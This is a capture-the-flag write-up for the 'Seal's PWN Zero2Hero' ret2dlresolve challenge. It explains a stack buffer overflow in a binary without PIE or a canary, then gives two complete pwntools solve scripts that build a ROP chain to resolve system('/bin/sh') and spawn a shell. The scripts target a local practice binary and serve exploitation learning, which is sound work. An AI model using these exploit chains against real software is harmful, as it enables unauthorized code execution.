Seal’s Pwn Zero2Hero Stack Challenges - Ret2dlresolve
This is the final challenge from Seal’s PWN Zero2Hero
The source was provided for this challenge.
Vulnerability
The vulneability is a buffer overflow. The program reads in 0x1000 bytes which is more than the buffer max (0x20).
Exploitation
Running checksec
on the binary shows that there isn’t PIE or a stack canary.
We can’t do a regular Ret2libc because there isn’t a way to get a leak so we’ll do a ret2dlresolve (like the challenge name suggests). This will essentially make the program resolve system
into the PLT instead of read and lead us to getting a shell.
All that’s left now is getting the offset for overwriting the return address, which is 40, and with that we can start developing our exploit. We’ll use pwntools to generate the payload. We’ll also be using pwntool’s ROP function to call the read function and run the exploit cleanly.
You can also make the read call using the pop rdi
and pop rsi, pop r15
gadgets. Just make sure to set r15
to 0 and to add rop.ret2dlresolve(dlresolve)
to the end of the payload. You can fully avoid using the ROP function by manually doing the Ret2dlresolve.
Solution
Both scripts will get you the flag. The first script uses pwntools ROP function to call read and the other script uses gadgets.
### Solve Script 1
from pwn import *
elf = context.binary = ELF("vuln", checksec=False)
gs = '''
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)
# generate dlresolve payload
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
offset = 40
rop.raw('A' * offset)
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()
Solve Script 2
from pwn import *
elf = context.binary = ELF("vuln", checksec=False)
gs = '''
'''
p = process(elf.path)
# p = gdb.debug(elf.path, gdbscript=gs)
# generate dlresolve payload
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.ret2dlresolve(dlresolve)
pop_rdi = 0x401243
pop_rsi_r15 = 0x401241
offset = 40
payload = b''
payload += b'A' * offset
payload += p64(pop_rdi)
payload += p64(0x0)
payload += p64(pop_rsi_r15)
payload += p64(dlresolve.data_addr)
payload += p64(0x0)
payload += p64(elf.sym.read)
payload += rop.chain()
p.sendline(payload)
p.sendline(dlresolve.payload)
p.interactive()